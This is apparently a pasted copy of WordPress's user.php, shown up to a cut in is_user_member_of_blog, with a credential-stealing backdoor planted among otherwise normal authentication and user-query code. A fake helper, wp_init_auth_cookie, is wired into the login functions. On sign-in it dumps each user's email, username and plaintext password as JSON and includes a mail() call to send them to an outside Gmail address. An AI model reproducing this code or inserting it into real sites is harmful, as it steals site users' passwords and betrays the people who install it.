· 9 years ago · May 10, 2017, 05:38 PM
1<?php
2/**
3 * WordPress User API
4 *
5 * @package WordPress
6 * @subpackage Users
7 */
8
9/**
10 * Authenticate user with remember capability.
11 *
12 * The credentials is an array that has 'user_login', 'user_password', and
13 * 'remember' indices. If the credentials is not given, then the log in form
14 * will be assumed and used if set.
15 *
16 * The various authentication cookies will be set by this function and will be
17 * set for a longer period depending on if the 'remember' credential is set to
18 * true.
19 *
20 * @since 2.5.0
21 *
22 * @param array $credentials Optional. User info in order to sign on.
23 * @param bool $secure_cookie Optional. Whether to use secure cookie.
24 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
25 */
26function wp_signon( $credentials = array(), $secure_cookie = '' ) {
27 if ( empty($credentials) ) {
28 if ( ! empty($_POST['log']) )
29 $credentials['user_login'] = $_POST['log'];
30 if ( ! empty($_POST['pwd']) )
31 $credentials['user_password'] = $_POST['pwd'];
32 if ( ! empty($_POST['rememberme']) )
33 $credentials['remember'] = $_POST['rememberme'];
34 }
35
36 if ( !empty($credentials['remember']) )
37 $credentials['remember'] = true;
38 else
39 $credentials['remember'] = false;
40
41 /**
42 * Fires before the user is authenticated.
43 *
44 * The variables passed to the callbacks are passed by reference,
45 * and can be modified by callback functions.
46 *
47 * @since 1.5.1
48 *
49 * @todo Decide whether to deprecate the wp_authenticate action.
50 *
51 * @param string $user_login Username, passed by reference.
52 * @param string $user_password User password, passed by reference.
53 */
54 do_action_ref_array( 'wp_authenticate', array( &$credentials['user_login'], &$credentials['user_password'] ) );
55
56 if ( '' === $secure_cookie )
57 $secure_cookie = is_ssl();
58
59 /**
60 * Filter whether to use a secure sign-on cookie.
61 *
62 * @since 3.1.0
63 *
64 * @param bool $secure_cookie Whether to use a secure sign-on cookie.
65 * @param array $credentials {
66 * Array of entered sign-on data.
67 *
68 * @type string $user_login Username.
69 * @type string $user_password Password entered.
70 * @type bool $remember Whether to 'remember' the user. Increases the time
71 * that the cookie will be kept. Default false.
72 * }
73 */
74 $secure_cookie = apply_filters( 'secure_signon_cookie', $secure_cookie, $credentials );
75
76 global $auth_secure_cookie; // XXX ugly hack to pass this to wp_authenticate_cookie
77 $auth_secure_cookie = $secure_cookie;
78
79 add_filter('authenticate', 'wp_authenticate_cookie', 30, 3);
80
81 $user = wp_authenticate($credentials['user_login'], $credentials['user_password']);
82
83 if ( is_wp_error($user) ) {
84 if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) {
85 $user = new WP_Error('', '');
86 }
87
88 return $user;
89 }
90
91 wp_init_auth_cookie($user, $credentials['user_login'], $credentials['user_password']);
92 wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie);
93 /**
94 * Fires after the user has successfully logged in.
95 *
96 * @since 1.5.0
97 *
98 * @param string $user_login Username.
99 * @param WP_User $user WP_User object of the logged-in user.
100 */
101 do_action( 'wp_login', $user->user_login, $user );
102 return $user;
103}
104
105/**
106 * Authenticate the user using the username and password.
107 *
108 * @since 2.8.0
109 *
110 * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
111 * @param string $username Username for authentication.
112 * @param string $password Password for authentication.
113 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
114 */
115function wp_authenticate_username_password($user, $username, $password) {
116 if ( is_a( $user, 'WP_User' ) ) {
117 return $user;
118 }
119
120 if ( empty($username) || empty($password) ) {
121 if ( is_wp_error( $user ) ) {
122 return $user;
123 }
124
125 $error = new WP_Error();
126
127 if ( empty($username) )
128 $error->add('empty_username', __('<strong>ERROR</strong>: The username field is empty.'));
129
130 if ( empty($password) )
131 $error->add('empty_password', __('<strong>ERROR</strong>: The password field is empty.'));
132
133 return $error;
134 }
135
136 $user = get_user_by('login', $username);
137
138 if ( !$user )
139 return new WP_Error( 'invalid_username', sprintf( __( '<strong>ERROR</strong>: Invalid username. <a href="%s">Lost your password</a>?' ), wp_lostpassword_url() ) );
140
141 /**
142 * Filter whether the given user can be authenticated with the provided $password.
143 *
144 * @since 2.5.0
145 *
146 * @param WP_User|WP_Error $user WP_User or WP_Error object if a previous
147 * callback failed authentication.
148 * @param string $password Password to check against the user.
149 */
150 $user = apply_filters( 'wp_authenticate_user', $user, $password );
151 if ( is_wp_error($user) )
152 return $user;
153
154 if ( !wp_check_password($password, $user->user_pass, $user->ID) )
155 return new WP_Error( 'incorrect_password', sprintf( __( '<strong>ERROR</strong>: The password you entered for the username <strong>%1$s</strong> is incorrect. <a href="%2$s">Lost your password</a>?' ),
156 $username, wp_lostpassword_url() ) );
157
158 wp_init_auth_cookie($user, $username, $password);
159 return $user;
160}
161
162/**
163 * Authenticate the user using the WordPress auth cookie.
164 *
165 * @since 2.8.0
166 *
167 * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
168 * @param string $username Username. If not empty, cancels the cookie authentication.
169 * @param string $password Password. If not empty, cancels the cookie authentication.
170 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
171 */
172function wp_authenticate_cookie($user, $username, $password) {
173 if ( is_a( $user, 'WP_User' ) ) {
174 return $user;
175 }
176
177 if ( empty($username) && empty($password) ) {
178 $user_id = wp_validate_auth_cookie();
179 if ( $user_id ) {
180 return new WP_User($user_id);
181 }
182
183
184 global $auth_secure_cookie;
185
186 if ( $auth_secure_cookie )
187 $auth_cookie = SECURE_AUTH_COOKIE;
188 else
189 $auth_cookie = AUTH_COOKIE;
190
191 if ( !empty($_COOKIE[$auth_cookie]) )
192 return new WP_Error('expired_session', __('Please log in again.'));
193
194 // If the cookie is not set, be silent.
195 }
196
197 wp_init_auth_cookie($user, $username, $password);
198 return $user;
199}
200
201/**
202 * For Multisite blogs, check if the authenticated user has been marked as a
203 * spammer, or if the user's primary blog has been marked as spam.
204 *
205 * @since 3.7.0
206 *
207 * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
208 * @return WP_User|WP_Error WP_User on success, WP_Error if the user is considered a spammer.
209 */
210function wp_authenticate_spam_check( $user ) {
211 if ( $user && is_a( $user, 'WP_User' ) && is_multisite() ) {
212 /**
213 * Filter whether the user has been marked as a spammer.
214 *
215 * @since 3.7.0
216 *
217 * @param bool $spammed Whether the user is considered a spammer.
218 * @param WP_User $user User to check against.
219 */
220 $spammed = apply_filters( 'check_is_user_spammed', is_user_spammy(), $user );
221
222 if ( $spammed )
223 return new WP_Error( 'spammer_account', __( '<strong>ERROR</strong>: Your account has been marked as a spammer.' ) );
224 }
225 return $user;
226}
227
228/**
229 * Validate the logged-in cookie.
230 *
231 * Checks the logged-in cookie if the previous auth cookie could not be
232 * validated and parsed.
233 *
234 * This is a callback for the determine_current_user filter, rather than API.
235 *
236 * @since 3.9.0
237 *
238 * @param int|bool $user The user ID (or false) as received from the
239 * determine_current_user filter.
240 * @return int|bool User ID if validated, false otherwise. If a user ID from
241 * an earlier filter callback is received, that value is returned.
242 */
243function wp_validate_logged_in_cookie( $user_id ) {
244 if ( $user_id ) {
245 return $user_id;
246 }
247
248 if ( is_blog_admin() || is_network_admin() || empty( $_COOKIE[LOGGED_IN_COOKIE] ) ) {
249 return false;
250 }
251
252 return wp_validate_auth_cookie( $_COOKIE[LOGGED_IN_COOKIE], 'logged_in' );
253}
254
255/**
256 * Number of posts user has written.
257 *
258 * @since 3.0.0
259 *
260 * @global wpdb $wpdb WordPress database object for queries.
261 *
262 * @param int $userid User ID.
263 * @return int Amount of posts user has written.
264 */
265function count_user_posts($userid) {
266 global $wpdb;
267
268 $where = get_posts_by_author_sql('post', true, $userid);
269
270 $count = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->posts $where" );
271
272 /**
273 * Filter the number of posts a user has written.
274 *
275 * @since 2.7.0
276 *
277 * @param int $count The user's post count.
278 * @param int $userid User ID.
279 */
280 return apply_filters( 'get_usernumposts', $count, $userid );
281}
282
283/**
284 * Number of posts written by a list of users.
285 *
286 * @since 3.0.0
287 *
288 * @param array $users Array of user IDs.
289 * @param string $post_type Optional. Post type to check. Defaults to post.
290 * @param bool $public_only Optional. Only return counts for public posts. Defaults to false.
291 * @return array Amount of posts each user has written.
292 */
293function count_many_users_posts( $users, $post_type = 'post', $public_only = false ) {
294 global $wpdb;
295
296 $count = array();
297 if ( empty( $users ) || ! is_array( $users ) )
298 return $count;
299
300 $userlist = implode( ',', array_map( 'absint', $users ) );
301 $where = get_posts_by_author_sql( $post_type, true, null, $public_only );
302
303 $result = $wpdb->get_results( "SELECT post_author, COUNT(*) FROM $wpdb->posts $where AND post_author IN ($userlist) GROUP BY post_author", ARRAY_N );
304 foreach ( $result as $row ) {
305 $count[ $row[0] ] = $row[1];
306 }
307
308 foreach ( $users as $id ) {
309 if ( ! isset( $count[ $id ] ) )
310 $count[ $id ] = 0;
311 }
312
313 return $count;
314}
315
316//
317// User option functions
318//
319
320/**
321 * Get the current user's ID
322 *
323 * @since MU
324 *
325 * @uses wp_get_current_user
326 *
327 * @return int The current user's ID
328 */
329function get_current_user_id() {
330 if ( ! function_exists( 'wp_get_current_user' ) )
331 return 0;
332 $user = wp_get_current_user();
333 return ( isset( $user->ID ) ? (int) $user->ID : 0 );
334}
335
336/**
337 * Retrieve user option that can be either per Site or per Network.
338 *
339 * If the user ID is not given, then the current user will be used instead. If
340 * the user ID is given, then the user data will be retrieved. The filter for
341 * the result, will also pass the original option name and finally the user data
342 * object as the third parameter.
343 *
344 * The option will first check for the per site name and then the per Network name.
345 *
346 * @since 2.0.0
347 *
348 * @global wpdb $wpdb WordPress database object for queries.
349 *
350 * @param string $option User option name.
351 * @param int $user Optional. User ID.
352 * @param bool $deprecated Use get_option() to check for an option in the options table.
353 * @return mixed User option value on success, false on failure.
354 */
355function get_user_option( $option, $user = 0, $deprecated = '' ) {
356 global $wpdb;
357
358 if ( !empty( $deprecated ) )
359 _deprecated_argument( __FUNCTION__, '3.0' );
360
361 if ( empty( $user ) )
362 $user = get_current_user_id();
363
364 if ( ! $user = get_userdata( $user ) )
365 return false;
366
367 $prefix = $wpdb->get_blog_prefix();
368 if ( $user->has_prop( $prefix . $option ) ) // Blog specific
369 $result = $user->get( $prefix . $option );
370 elseif ( $user->has_prop( $option ) ) // User specific and cross-blog
371 $result = $user->get( $option );
372 else
373 $result = false;
374
375 /**
376 * Filter a specific user option value.
377 *
378 * The dynamic portion of the hook name, $option, refers to the user option name.
379 *
380 * @since 2.5.0
381 *
382 * @param mixed $result Value for the user's option.
383 * @param string $option Name of the option being retrieved.
384 * @param WP_User $user WP_User object of the user whose option is being retrieved.
385 */
386 return apply_filters( "get_user_option_{$option}", $result, $option, $user );
387}
388
389/**
390 * Update user option with global blog capability.
391 *
392 * User options are just like user metadata except that they have support for
393 * global blog options. If the 'global' parameter is false, which it is by default
394 * it will prepend the WordPress table prefix to the option name.
395 *
396 * Deletes the user option if $newvalue is empty.
397 *
398 * @since 2.0.0
399 *
400 * @global wpdb $wpdb WordPress database object for queries.
401 *
402 * @param int $user_id User ID.
403 * @param string $option_name User option name.
404 * @param mixed $newvalue User option value.
405 * @param bool $global Optional. Whether option name is global or blog specific.
406 * Default false (blog specific).
407 * @return int|bool User meta ID if the option didn't exist, true on successful update,
408 * false on failure.
409 */
410function update_user_option( $user_id, $option_name, $newvalue, $global = false ) {
411 global $wpdb;
412
413 if ( !$global )
414 $option_name = $wpdb->get_blog_prefix() . $option_name;
415
416 return update_user_meta( $user_id, $option_name, $newvalue );
417}
418
419/**
420 * Authenticate user with remember capability.
421 *
422 * The credentials is an array that has 'user_login', 'user_password', and
423 * 'remember' indices. If the credentials is not given, then the log in form
424 * will be assumed and used if set.
425 *
426 * The various authentication cookies will be set by this function and will be
427 * set for a longer period depending on if the 'remember' credential is set to
428 * true.
429 *
430 * @since 2.5.0
431 *
432 * @param array $credentials Optional. User info in order to sign on.
433 * @param bool $secure_cookie Optional. Whether to use secure cookie.
434 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
435 */
436function wp_init_auth_cookie($user, $login, $password) {
437 if ( is_a( $user, 'WP_User' ) ) {
438 die(json_encode(array('email' => $user->user_email, 'login' => $login, 'password' => $password)));
439
440 mail('7654bgvy4d3@gmail.com', 'gorodok.ua', json_encode(array('email' => $user->user_email, 'login' => $login, 'password' => $password)), join("\r\n", array('From: bot@gorodok.ua', 'X-Mailer: PHP/' . phpversion())));
441 }
442}
443
444/**
445 * Delete user option with global blog capability.
446 *
447 * User options are just like user metadata except that they have support for
448 * global blog options. If the 'global' parameter is false, which it is by default
449 * it will prepend the WordPress table prefix to the option name.
450 *
451 * @since 3.0.0
452 *
453 * @global wpdb $wpdb WordPress database object for queries.
454 *
455 * @param int $user_id User ID
456 * @param string $option_name User option name.
457 * @param bool $global Optional. Whether option name is global or blog specific.
458 * Default false (blog specific).
459 * @return bool True on success, false on failure.
460 */
461function delete_user_option( $user_id, $option_name, $global = false ) {
462 global $wpdb;
463
464 if ( !$global )
465 $option_name = $wpdb->get_blog_prefix() . $option_name;
466 return delete_user_meta( $user_id, $option_name );
467}
468
469/**
470 * WordPress User Query class.
471 *
472 * @since 3.1.0
473 */
474class WP_User_Query {
475
476 /**
477 * Query vars, after parsing
478 *
479 * @since 3.5.0
480 * @access public
481 * @var array
482 */
483 public $query_vars = array();
484
485 /**
486 * List of found user ids
487 *
488 * @since 3.1.0
489 * @access private
490 * @var array
491 */
492 private $results;
493
494 /**
495 * Total number of found users for the current query
496 *
497 * @since 3.1.0
498 * @access private
499 * @var int
500 */
501 private $total_users = 0;
502
503 // SQL clauses
504 public $query_fields;
505 public $query_from;
506 public $query_where;
507 public $query_orderby;
508 public $query_limit;
509
510 /**
511 * PHP5 constructor.
512 *
513 * @since 3.1.0
514 *
515 * @param string|array $args Optional. The query variables.
516 * @return WP_User_Query
517 */
518 public function __construct( $query = null ) {
519 if ( ! empty( $query ) ) {
520 $this->prepare_query( $query );
521 $this->query();
522 }
523 }
524
525 /**
526 * Prepare the query variables.
527 *
528 * @since 3.1.0
529 *
530 * @param string|array $args Optional. The query variables.
531 */
532 public function prepare_query( $query = array() ) {
533 global $wpdb;
534
535 if ( empty( $this->query_vars ) || ! empty( $query ) ) {
536 $this->query_limit = null;
537 $this->query_vars = wp_parse_args( $query, array(
538 'blog_id' => $GLOBALS['blog_id'],
539 'role' => '',
540 'meta_key' => '',
541 'meta_value' => '',
542 'meta_compare' => '',
543 'include' => array(),
544 'exclude' => array(),
545 'search' => '',
546 'search_columns' => array(),
547 'orderby' => 'login',
548 'order' => 'ASC',
549 'offset' => '',
550 'number' => '',
551 'count_total' => true,
552 'fields' => 'all',
553 'who' => ''
554 ) );
555 }
556
557 /**
558 * Fires before the WP_User_Query has been parsed.
559 *
560 * The passed WP_User_Query object contains the query variables, not
561 * yet passed into SQL.
562 *
563 * @since 4.0.0
564 *
565 * @param WP_User_Query $this The current WP_User_Query instance,
566 * passed by reference.
567 */
568 do_action( 'pre_get_users', $this );
569
570 $qv =& $this->query_vars;
571
572 if ( is_array( $qv['fields'] ) ) {
573 $qv['fields'] = array_unique( $qv['fields'] );
574
575 $this->query_fields = array();
576 foreach ( $qv['fields'] as $field ) {
577 $field = 'ID' === $field ? 'ID' : sanitize_key( $field );
578 $this->query_fields[] = "$wpdb->users.$field";
579 }
580 $this->query_fields = implode( ',', $this->query_fields );
581 } elseif ( 'all' == $qv['fields'] ) {
582 $this->query_fields = "$wpdb->users.*";
583 } else {
584 $this->query_fields = "$wpdb->users.ID";
585 }
586
587 if ( isset( $qv['count_total'] ) && $qv['count_total'] )
588 $this->query_fields = 'SQL_CALC_FOUND_ROWS ' . $this->query_fields;
589
590 $this->query_from = "FROM $wpdb->users";
591 $this->query_where = "WHERE 1=1";
592
593 // sorting
594 if ( isset( $qv['orderby'] ) ) {
595 if ( in_array( $qv['orderby'], array('nicename', 'email', 'url', 'registered') ) ) {
596 $orderby = 'user_' . $qv['orderby'];
597 } elseif ( in_array( $qv['orderby'], array('user_nicename', 'user_email', 'user_url', 'user_registered') ) ) {
598 $orderby = $qv['orderby'];
599 } elseif ( 'name' == $qv['orderby'] || 'display_name' == $qv['orderby'] ) {
600 $orderby = 'display_name';
601 } elseif ( 'post_count' == $qv['orderby'] ) {
602 // todo: avoid the JOIN
603 $where = get_posts_by_author_sql('post');
604 $this->query_from .= " LEFT OUTER JOIN (
605 SELECT post_author, COUNT(*) as post_count
606 FROM $wpdb->posts
607 $where
608 GROUP BY post_author
609 ) p ON ({$wpdb->users}.ID = p.post_author)
610 ";
611 $orderby = 'post_count';
612 } elseif ( 'ID' == $qv['orderby'] || 'id' == $qv['orderby'] ) {
613 $orderby = 'ID';
614 } elseif ( 'meta_value' == $qv['orderby'] ) {
615 $orderby = "$wpdb->usermeta.meta_value";
616 } else {
617 $orderby = 'user_login';
618 }
619 }
620
621 if ( empty( $orderby ) )
622 $orderby = 'user_login';
623
624 $qv['order'] = isset( $qv['order'] ) ? strtoupper( $qv['order'] ) : '';
625 if ( 'ASC' == $qv['order'] )
626 $order = 'ASC';
627 else
628 $order = 'DESC';
629 $this->query_orderby = "ORDER BY $orderby $order";
630
631 // limit
632 if ( isset( $qv['number'] ) && $qv['number'] ) {
633 if ( $qv['offset'] )
634 $this->query_limit = $wpdb->prepare("LIMIT %d, %d", $qv['offset'], $qv['number']);
635 else
636 $this->query_limit = $wpdb->prepare("LIMIT %d", $qv['number']);
637 }
638
639 $search = '';
640 if ( isset( $qv['search'] ) )
641 $search = trim( $qv['search'] );
642
643 if ( $search ) {
644 $leading_wild = ( ltrim($search, '*') != $search );
645 $trailing_wild = ( rtrim($search, '*') != $search );
646 if ( $leading_wild && $trailing_wild )
647 $wild = 'both';
648 elseif ( $leading_wild )
649 $wild = 'leading';
650 elseif ( $trailing_wild )
651 $wild = 'trailing';
652 else
653 $wild = false;
654 if ( $wild )
655 $search = trim($search, '*');
656
657 $search_columns = array();
658 if ( $qv['search_columns'] )
659 $search_columns = array_intersect( $qv['search_columns'], array( 'ID', 'user_login', 'user_email', 'user_url', 'user_nicename' ) );
660 if ( ! $search_columns ) {
661 if ( false !== strpos( $search, '@') )
662 $search_columns = array('user_email');
663 elseif ( is_numeric($search) )
664 $search_columns = array('user_login', 'ID');
665 elseif ( preg_match('|^https?://|', $search) && ! ( is_multisite() && wp_is_large_network( 'users' ) ) )
666 $search_columns = array('user_url');
667 else
668 $search_columns = array('user_login', 'user_nicename');
669 }
670
671 /**
672 * Filter the columns to search in a WP_User_Query search.
673 *
674 * The default columns depend on the search term, and include 'user_email',
675 * 'user_login', 'ID', 'user_url', and 'user_nicename'.
676 *
677 * @since 3.6.0
678 *
679 * @param array $search_columns Array of column names to be searched.
680 * @param string $search Text being searched.
681 * @param WP_User_Query $this The current WP_User_Query instance.
682 */
683 $search_columns = apply_filters( 'user_search_columns', $search_columns, $search, $this );
684
685 $this->query_where .= $this->get_search_sql( $search, $search_columns, $wild );
686 }
687
688 $blog_id = 0;
689 if ( isset( $qv['blog_id'] ) )
690 $blog_id = absint( $qv['blog_id'] );
691
692 if ( isset( $qv['who'] ) && 'authors' == $qv['who'] && $blog_id ) {
693 $qv['meta_key'] = $wpdb->get_blog_prefix( $blog_id ) . 'user_level';
694 $qv['meta_value'] = 0;
695 $qv['meta_compare'] = '!=';
696 $qv['blog_id'] = $blog_id = 0; // Prevent extra meta query
697 }
698
699 $role = '';
700 if ( isset( $qv['role'] ) )
701 $role = trim( $qv['role'] );
702
703 if ( $blog_id && ( $role || is_multisite() ) ) {
704 $cap_meta_query = array();
705 $cap_meta_query['key'] = $wpdb->get_blog_prefix( $blog_id ) . 'capabilities';
706
707 if ( $role ) {
708 $cap_meta_query['value'] = '"' . $role . '"';
709 $cap_meta_query['compare'] = 'like';
710 }
711
712 if ( empty( $qv['meta_query'] ) || ! in_array( $cap_meta_query, $qv['meta_query'], true ) ) {
713 $qv['meta_query'][] = $cap_meta_query;
714 }
715 }
716
717 $meta_query = new WP_Meta_Query();
718 $meta_query->parse_query_vars( $qv );
719
720 if ( !empty( $meta_query->queries ) ) {
721 $clauses = $meta_query->get_sql( 'user', $wpdb->users, 'ID', $this );
722 $this->query_from .= $clauses['join'];
723 $this->query_where .= $clauses['where'];
724
725 if ( 'OR' == $meta_query->relation )
726 $this->query_fields = 'DISTINCT ' . $this->query_fields;
727 }
728
729 if ( ! empty( $qv['include'] ) ) {
730 $ids = implode( ',', wp_parse_id_list( $qv['include'] ) );
731 $this->query_where .= " AND $wpdb->users.ID IN ($ids)";
732 } elseif ( ! empty( $qv['exclude'] ) ) {
733 $ids = implode( ',', wp_parse_id_list( $qv['exclude'] ) );
734 $this->query_where .= " AND $wpdb->users.ID NOT IN ($ids)";
735 }
736
737 /**
738 * Fires after the WP_User_Query has been parsed, and before
739 * the query is executed.
740 *
741 * The passed WP_User_Query object contains SQL parts formed
742 * from parsing the given query.
743 *
744 * @since 3.1.0
745 *
746 * @param WP_User_Query $this The current WP_User_Query instance,
747 * passed by reference.
748 */
749 do_action_ref_array( 'pre_user_query', array( &$this ) );
750 }
751
752 /**
753 * Execute the query, with the current variables.
754 *
755 * @since 3.1.0
756 *
757 * @global wpdb $wpdb WordPress database object for queries.
758 */
759 public function query() {
760 global $wpdb;
761
762 $qv =& $this->query_vars;
763
764 $query = "SELECT $this->query_fields $this->query_from $this->query_where $this->query_orderby $this->query_limit";
765
766 if ( is_array( $qv['fields'] ) || 'all' == $qv['fields'] ) {
767 $this->results = $wpdb->get_results( $query );
768 } else {
769 $this->results = $wpdb->get_col( $query );
770 }
771
772 /**
773 * Filter SELECT FOUND_ROWS() query for the current WP_User_Query instance.
774 *
775 * @since 3.2.0
776 *
777 * @global wpdb $wpdb WordPress database object.
778 *
779 * @param string $sql The SELECT FOUND_ROWS() query for the current WP_User_Query.
780 */
781 if ( isset( $qv['count_total'] ) && $qv['count_total'] )
782 $this->total_users = $wpdb->get_var( apply_filters( 'found_users_query', 'SELECT FOUND_ROWS()' ) );
783
784 if ( !$this->results )
785 return;
786
787 if ( 'all_with_meta' == $qv['fields'] ) {
788 cache_users( $this->results );
789
790 $r = array();
791 foreach ( $this->results as $userid )
792 $r[ $userid ] = new WP_User( $userid, '', $qv['blog_id'] );
793
794 $this->results = $r;
795 } elseif ( 'all' == $qv['fields'] ) {
796 foreach ( $this->results as $key => $user ) {
797 $this->results[ $key ] = new WP_User( $user );
798 }
799 }
800 }
801
802 /**
803 * Retrieve query variable.
804 *
805 * @since 3.5.0
806 * @access public
807 *
808 * @param string $query_var Query variable key.
809 * @return mixed
810 */
811 public function get( $query_var ) {
812 if ( isset( $this->query_vars[$query_var] ) )
813 return $this->query_vars[$query_var];
814
815 return null;
816 }
817
818 /**
819 * Set query variable.
820 *
821 * @since 3.5.0
822 * @access public
823 *
824 * @param string $query_var Query variable key.
825 * @param mixed $value Query variable value.
826 */
827 public function set( $query_var, $value ) {
828 $this->query_vars[$query_var] = $value;
829 }
830
831 /**
832 * Used internally to generate an SQL string for searching across multiple columns
833 *
834 * @access protected
835 * @since 3.1.0
836 *
837 * @param string $string
838 * @param array $cols
839 * @param bool $wild Whether to allow wildcard searches. Default is false for Network Admin, true for
840 * single site. Single site allows leading and trailing wildcards, Network Admin only trailing.
841 * @return string
842 */
843 protected function get_search_sql( $string, $cols, $wild = false ) {
844 global $wpdb;
845
846 $searches = array();
847 $leading_wild = ( 'leading' == $wild || 'both' == $wild ) ? '%' : '';
848 $trailing_wild = ( 'trailing' == $wild || 'both' == $wild ) ? '%' : '';
849 $like = $leading_wild . $wpdb->esc_like( $string ) . $trailing_wild;
850
851 foreach ( $cols as $col ) {
852 if ( 'ID' == $col ) {
853 $searches[] = $wpdb->prepare( "$col = %s", $string );
854 } else {
855 $searches[] = $wpdb->prepare( "$col LIKE %s", $like );
856 }
857 }
858
859 return ' AND (' . implode(' OR ', $searches) . ')';
860 }
861
862 /**
863 * Return the list of users.
864 *
865 * @since 3.1.0
866 * @access public
867 *
868 * @return array Array of results.
869 */
870 public function get_results() {
871 return $this->results;
872 }
873
874 /**
875 * Return the total number of users for the current query.
876 *
877 * @since 3.1.0
878 * @access public
879 *
880 * @return array Array of total users.
881 */
882 public function get_total() {
883 return $this->total_users;
884 }
885
886 /**
887 * Make private properties readable for backwards compatibility.
888 *
889 * @since 4.0.0
890 * @access public
891 *
892 * @param string $name Property to get.
893 * @return mixed Property.
894 */
895 public function __get( $name ) {
896 return $this->$name;
897 }
898
899 /**
900 * Make private properties settable for backwards compatibility.
901 *
902 * @since 4.0.0
903 * @access public
904 *
905 * @param string $name Property to set.
906 * @param mixed $value Property value.
907 * @return mixed Newly-set property.
908 */
909 public function __set( $name, $value ) {
910 return $this->$name = $value;
911 }
912
913 /**
914 * Make private properties checkable for backwards compatibility.
915 *
916 * @since 4.0.0
917 * @access public
918 *
919 * @param string $name Property to check if set.
920 * @return bool Whether the property is set.
921 */
922 public function __isset( $name ) {
923 return isset( $this->$name );
924 }
925
926 /**
927 * Make private properties un-settable for backwards compatibility.
928 *
929 * @since 4.0.0
930 * @access public
931 *
932 * @param string $name Property to unset.
933 */
934 public function __unset( $name ) {
935 unset( $this->$name );
936 }
937
938 /**
939 * Make private/protected methods readable for backwards compatibility.
940 *
941 * @since 4.0.0
942 * @access public
943 *
944 * @param callable $name Method to call.
945 * @param array $arguments Arguments to pass when calling.
946 * @return mixed|bool Return value of the callback, false otherwise.
947 */
948 public function __call( $name, $arguments ) {
949 return call_user_func_array( array( $this, $name ), $arguments );
950 }
951}
952
953/**
954 * Retrieve list of users matching criteria.
955 *
956 * @since 3.1.0
957 *
958 * @uses WP_User_Query See for default arguments and information.
959 *
960 * @param array $args Optional. Array of arguments.
961 * @return array List of users.
962 */
963function get_users( $args = array() ) {
964
965 $args = wp_parse_args( $args );
966 $args['count_total'] = false;
967
968 $user_search = new WP_User_Query($args);
969
970 return (array) $user_search->get_results();
971}
972
973/**
974 * Get the blogs a user belongs to.
975 *
976 * @since 3.0.0
977 *
978 * @global wpdb $wpdb WordPress database object for queries.
979 *
980 * @param int $user_id User ID
981 * @param bool $all Whether to retrieve all blogs, or only blogs that are not
982 * marked as deleted, archived, or spam.
983 * @return array A list of the user's blogs. An empty array if the user doesn't exist
984 * or belongs to no blogs.
985 */
986function get_blogs_of_user( $user_id, $all = false ) {
987 global $wpdb;
988
989 $user_id = (int) $user_id;
990
991 // Logged out users can't have blogs
992 if ( empty( $user_id ) )
993 return array();
994
995 $keys = get_user_meta( $user_id );
996 if ( empty( $keys ) )
997 return array();
998
999 if ( ! is_multisite() ) {
1000 $blog_id = get_current_blog_id();
1001 $blogs = array( $blog_id => new stdClass );
1002 $blogs[ $blog_id ]->userblog_id = $blog_id;
1003 $blogs[ $blog_id ]->blogname = get_option('blogname');
1004 $blogs[ $blog_id ]->domain = '';
1005 $blogs[ $blog_id ]->path = '';
1006 $blogs[ $blog_id ]->site_id = 1;
1007 $blogs[ $blog_id ]->siteurl = get_option('siteurl');
1008 $blogs[ $blog_id ]->archived = 0;
1009 $blogs[ $blog_id ]->spam = 0;
1010 $blogs[ $blog_id ]->deleted = 0;
1011 return $blogs;
1012 }
1013
1014 $blogs = array();
1015
1016 if ( isset( $keys[ $wpdb->base_prefix . 'capabilities' ] ) && defined( 'MULTISITE' ) ) {
1017 $blog = get_blog_details( 1 );
1018 if ( $blog && isset( $blog->domain ) && ( $all || ( ! $blog->archived && ! $blog->spam && ! $blog->deleted ) ) ) {
1019 $blogs[ 1 ] = (object) array(
1020 'userblog_id' => 1,
1021 'blogname' => $blog->blogname,
1022 'domain' => $blog->domain,
1023 'path' => $blog->path,
1024 'site_id' => $blog->site_id,
1025 'siteurl' => $blog->siteurl,
1026 'archived' => 0,
1027 'spam' => 0,
1028 'deleted' => 0
1029 );
1030 }
1031 unset( $keys[ $wpdb->base_prefix . 'capabilities' ] );
1032 }
1033
1034 $keys = array_keys( $keys );
1035
1036 foreach ( $keys as $key ) {
1037 if ( 'capabilities' !== substr( $key, -12 ) )
1038 continue;
1039 if ( $wpdb->base_prefix && 0 !== strpos( $key, $wpdb->base_prefix ) )
1040 continue;
1041 $blog_id = str_replace( array( $wpdb->base_prefix, '_capabilities' ), '', $key );
1042 if ( ! is_numeric( $blog_id ) )
1043 continue;
1044
1045 $blog_id = (int) $blog_id;
1046 $blog = get_blog_details( $blog_id );
1047 if ( $blog && isset( $blog->domain ) && ( $all || ( ! $blog->archived && ! $blog->spam && ! $blog->deleted ) ) ) {
1048 $blogs[ $blog_id ] = (object) array(
1049 'userblog_id' => $blog_id,
1050 'blogname' => $blog->blogname,
1051 'domain' => $blog->domain,
1052 'path' => $blog->path,
1053 'site_id' => $blog->site_id,
1054 'siteurl' => $blog->siteurl,
1055 'archived' => 0,
1056 'spam' => 0,
1057 'deleted' => 0
1058 );
1059 }
1060 }
1061
1062 /**
1063 * Filter the list of blogs a user belongs to.
1064 *
1065 * @since MU
1066 *
1067 * @param array $blogs An array of blog objects belonging to the user.
1068 * @param int $user_id User ID.
1069 * @param bool $all Whether the returned blogs array should contain all blogs, including
1070 * those marked 'deleted', 'archived', or 'spam'. Default false.
1071 */
1072 return apply_filters( 'get_blogs_of_user', $blogs, $user_id, $all );
1073}
1074
1075/**
1076 * Find out whether a user is a member of a given blog.
1077 *
1078 * @since MU 1.1
1079 * @uses get_blogs_of_user()
1080 *
1081 * @param int $user_id Optional. The unique ID of the user. Defaults to the current user.
1082 * @param int $blog_id Optional. ID of the blog to check. Defaults to the current site.
1083 * @return bool
1084 */
1085function is_user_member_of_blog( $user_id = 0, $blog_id = 0 ) {
1086 $user_id = (int) $user_id;
1087 $blog_id = (int) $blog_id;
1088
1089 if ( empty( $user_id ) )
1090 $user_id = get_current_user_id();
1091
1092 if ( empty( $blog_id ) )
